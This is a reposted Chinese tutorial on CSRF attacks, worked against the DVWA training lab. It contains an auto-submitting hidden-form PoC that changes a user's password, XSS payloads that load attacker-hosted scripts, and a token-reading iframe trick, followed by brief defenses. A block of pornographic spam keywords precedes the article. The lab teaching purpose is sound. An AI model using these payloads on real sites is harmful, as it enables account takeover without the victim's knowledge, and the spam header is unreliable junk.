日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

web安全-----CSRF漏洞

發布時間:2023/12/1 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web安全-----CSRF漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
簡述

CSRF:Cross-site request -forgery,跨站請求偽造,是一種web攻擊方式,是由于網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要訪問這個網站,都會默認你已經登錄。

危害

攻擊者可以利用你的身份,以你的名義發送惡意請求。cerf能夠做的事情包括:以你的名義發送郵件,發信息,盜取你的賬號,甚至購買商品,虛擬商品轉賬

CSRF之POC制作

測試環境:DVWA的CSRF,low
1、利用burpsuit生成CSRF_POC
打開要測試的頁面,burpsuit攔截

右鍵,找到下圖的東西

點擊Generate CSRF Poc

由于burp生成的poc需要點擊按鈕才能觸發 用戶很難上當受騙 這里用js添加一個自動點擊事件,

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><iframe name="target" style="display: none;"></iframe><!--iframe將作為跳轉的接收頁,為了隱藏我們使用display:none,不顯示--><form action="http://IP/dvwa/vulnerabilities/csrf/" id="form" target="target"><input type="hidden" name="password&#95;new" value="123456" /><input type="hidden" name="password&#95;conf" value="123456" /><input type="hidden" name="Change" value="Change" /></form><script>var form = document.getElementById("form");form.submit();</script></body> </html>

將此html放在自己服務器上,保證能訪問到,dvwa這邊處于登陸狀態,然后使用同一瀏覽器,訪問剛剛構造的POC,DVWA默認的密碼為password

http://IP/csrf/csrf.html



密碼成功修改

2、csrf繞過referer驗證

很多網站會通過驗證referer是否合法來判斷是否是用戶操作,但是他可能只是驗證referer中是否
包含該網站的referer。如DVWA的判斷原理是取出請求中的referer值,然后將host的值取出,然
后判斷在referer值中有沒有出現host值,如果出現則認為是正常請求,否則就拒絕請求。
繞過思路:將攻擊文件的文件名改為該網站的域名(請求時的host值).

3、結合XSS
構造我們的payload,使用DVWA的反射型XSS測試

<script src="x" onerror=javascript:window.open("http://IP/csrf/csrf.html")></script>

訪問之后,成功修改

另一種方式:

var form = document.createElement('form'); form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/'; form.target='target'; var pass1 = document.createElement('input'); pass1.name="password_new"; pass1.value = '123456'; var pass2 = document.createElement('input'); pass2.name = 'password_conf'; pass2.value = "123456"; var change = document.createElement('input'); change.name='Change'; change.value='Change'; form.appendChild(pass1); form.appendChild(pass2); form.appendChild(change); document.body.append(form) form.submit();

payload

<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js"> </script>

4、csrf結合xss繞過token防御
token作為身份令牌,如果該值足夠隨機,那么安全系數將是很高的,按照這種邏輯這里不應該
存在csrf漏洞,但是如果網站存在XSS漏洞的話,那么這里的token就將形同虛設。我們可以利用
xss獲取到token值,然后利用該值發起請求,從而構造相應從csrf攻擊。但是這里存在一個問
題,那就是同源策略會限制我們的腳本,這里我們只能打出token,然后再誘惑用戶點擊我們構造
的頁面,這樣也會造成危害,但是這里由于token隨機性,可能每次刷新頁面就會失效,所以可
利用的概率就比較小了。

<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token') [0].value)">

防御

  • 關鍵操作增加驗證碼
  • 驗證referer
  • 使用足夠隨機的token

總結

以上是生活随笔為你收集整理的web安全-----CSRF漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。